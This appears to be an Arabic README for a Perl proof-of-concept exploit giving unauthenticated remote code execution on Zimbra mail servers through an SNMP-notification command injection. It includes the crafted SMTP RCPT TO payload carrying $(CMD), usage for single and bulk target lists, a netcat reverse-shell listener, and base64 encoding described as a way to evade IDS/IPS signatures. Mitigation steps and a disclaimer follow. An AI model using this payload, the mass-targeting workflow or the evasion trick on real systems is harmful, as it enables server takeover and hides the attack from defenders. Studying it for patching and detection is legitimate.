
# حقن أوامر نظام التشغيل عبر إشعارات SNMP في Zimbra — استغلال RCE غير مصادق عبر SMTP (PoC)
تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر حقن أوامر نظام التشغيل في معالج إشعارات SNMP الخاص بـ Zimbra Collaboration Suite.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — التحييد غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل |
| المتأثر | Zimbra ZCS < 10.1.20 (مع تثبيت zimbra-snmp) |
| تم إصلاحه في | ZCS 10.1.20 — يوليو 2026 |
| CISA KEV | أُضيف في 2026-08-21 (الموعد النهائي للمعالجة في FCEB: 2026-08-24) |
| المصادقة المطلوبة | لا شيء |
| التنفيذ بصفة | مستخدم نظام التشغيل zimbra |
تتضمن حزمة zimbra-snmp الاختيارية قاعدة swatchdog تقوم بتتبّع /var/log/zimbra.log بحثًا عن أسطر مطابقة لـ:
Service status change: <NAME> changed from <STATE> to <STATE>
عند العثور على تطابق، يمرر swatchdog حقل <NAME> الملتقط مباشرةً إلى سكربت shell لإشعارات SNMP دون أي تنقية.
يمكن لمهاجم غير مصادَق عليه حقن إدخال سجل مصمم خصيصًا عبر إرسال أمر SMTP RCPT TO مُشكَّل بشكل خاص. باستخدام quoted local-part وفق RFC 5321، تُضمَّن محارف shell الوصفية — مثل $(...) — داخل <NAME> وتُنفَّذ عندما يعالج swatchdog سطر السجل الناتج.
يجب أن تتحقق الشروط الثلاثة جميعها على الهدف لكي تكون الثغرة قابلة للاستغلال:
zimbra-snmp مثبَّتةsnmp_notify = true)swatchdog قيد التشغيلAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO المُسلَّح.swatchdog نمط السجل ويستخرج $(CMD) المحقون.CMD بصفته مستخدم نظام zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
أو عبر apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
أو عبر yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — مضيف واحد في كل سطر، مع :port اختياري، ويتم تجاهل الأسطر التي تبدأ بـ #:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| العلم | الطويل | الافتراضي | الوصف |
|---|---|---|---|
-H | --host | — | اسم مضيف أو عنوان IP هدف واحد |
-f | --file | — | ملف يحتوي على قائمة الأهداف |
-p | --port | 587 | منفذ SMTP الافتراضي |
-r | --rhost | — | عنوان IP الخاص بك لاستدعاء الصدفة العكسية |
-R | --rport | 4444 | منفذ الاستماع |
-t | --timeout | 15 | مهلة المقبس بالثواني |
-S | --ssl | معطّل | TLS مباشر (يُفعَّل تلقائيًا على المنفذ 465) |
-v | --verbose | معطّل | طباعة حوار SMTP الكامل |
-L | --logfile | — | كتابة سجل الجلسة إلى ملف |
-h | --help | — | عرض المساعدة |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
يتم ترميز أمر الصدفة العكسية بـ base64 قبل الحقن:
echo <b64>|base64 -d|bash
يمنع هذا أنظمة كشف/منع التسلل (IDS/IPS) من مطابقة التوقيعات النصية الصريحة مثل /dev/tcp أو bash -i أو nc -e. تُحقن الكتلة المُرمَّزة كـ $(...) داخل الجزء المحلي المُقتبس من RCPT TO، مما يُفعّل التنفيذ على جانب الخادم عندما يعالج swatchdog إدخال السجل.
| الإجراء | التفصيل |
|---|---|
| التصحيح | الترقية إلى Zimbra ZCS ≥ 10.1.20 |
| تعطيل إشعار SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| إزالة الحزمة | apt remove zimbra-snmp / yum remove zimbra-snmp |
| ضوابط الشبكة | تقييد SMTP الوارد (25/465/587) على المرحّلات الموثوقة حيثما كان ذلك ممكنًا عمليًا |
يُصدر هذا النموذج الأولي (proof-of-concept) لأغراض اختبار الأمان المصرّح به، والبحث الأكاديمي، والأغراض الدفاعية فقط.
تشغيله ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها غير قانوني.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.